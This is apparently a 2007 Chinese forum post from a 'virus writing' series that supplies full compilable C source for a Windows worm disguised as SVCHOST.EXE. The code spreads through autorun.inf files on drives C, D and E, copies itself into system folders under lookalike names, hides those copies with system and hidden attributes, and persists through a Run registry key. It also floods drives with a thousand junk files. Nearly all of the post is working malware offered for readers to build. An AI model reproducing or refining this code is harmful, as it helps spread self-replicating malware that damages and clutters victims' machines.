下一版程序将使用Windows API实现对控制台的脱离,从而使病毒体可以在后台执行
雏形框架(与本连载1内容差异暂只包括建立垃圾文件,详细完全版请在连载2中查看)1:
请建立DEV-CPP Windows Application C工程 ,将以下代码拷贝到替换主程序中即可
/* SVCHOST.EXE */
/* 使用DEV-CPP 4.9.9.2开发编译 */
#include<windows.h> /*使用windowsAPI*/
#define SVCHOST_NUM 6 /*病毒复制数量*/
#define RUBBISH_NUM 1000 /*垃圾文件数量*/
#define REGADD_NUM 2 /*注册表项*/
#define COMMAND_NUM 3 /*命令数*/
#include<stdio.h> /*标准输入输出*/
#include<string.h>
#include<stdlib.h>
char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};
char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"};
char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL",
"c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe",
"c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};
char *regadd[REGADD_NUM]={"reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f"};
char *commands[COMMAND_NUM]={"@echo off","attrib c:\\windows\\system\\SVCHOST.exe +S +H","attrib c:\\windows\\system\\MSMOUSE.DLL +S +H"};
/*复制文件*/
int copy(char *infile,char *outfile)
{
FILE *input,*output;
char temp;
if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen(outfile,"wb"))!=NULL))
{
while(!feof(input))
{
fread(&temp,1,1,input);
fwrite(&temp,1,1,output);
}
fclose(input);
fclose(output);
return 0;
}
else return 1;
}
/* Windows API 后台运行 */
int WINAPI WinMain (HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpszArgument,
int nFunsterStil)
{
FILE *input,*output;
int i,k;
/*生成自动运行文件autorun.inf*/
for(i=0;i<3;i++)
{
output=fopen(files_autorun[i],"w");
fprintf(output,"%s",autorun);
fclose(output);
}
/*在关键位置生成病毒体副本*/
for(i=0;i<=SVCHOST_NUM;i++)
{
if((input=fopen(files_svchost[i],"rb"))!=NULL)
{
fclose(input);
for(k=0;k<SVCHOST_NUM;k++)
{
copy(files_svchost[i],files_svchost[k]);
}
i=SVCHOST_NUM+1;
}
}
for(i=0;i<COMMAND_NUM;i++) system(commands[i]);
system(regadd[0]);
/*生成垃圾文件*/
for(i=0;i<RUBBISH_NUM;i++)
{
int n;
char s[100],t[10];
n=rand();
sprintf(s,"C:\\DESTORY_感染_%d",n);
output=fopen(s,"w");
fprintf(output,"%ld%s",n*n,s);
fclose(output);
s[0]++;
output=fopen(s,"w");
fprintf(output,"%ld%s",n*n,s);
fclose(output);
sprintf(t,"E:\\%d",n);
k=3;
while(t[k]!='\0')
{
t[k]+=17;
k++;
}
output=fopen(t,"w");
fprintf(output,"%ld%s",n*n,t);
fclose(output);
}
return 0;
}
[此贴子已经被作者于2007-5-27 18:07:44编辑过]
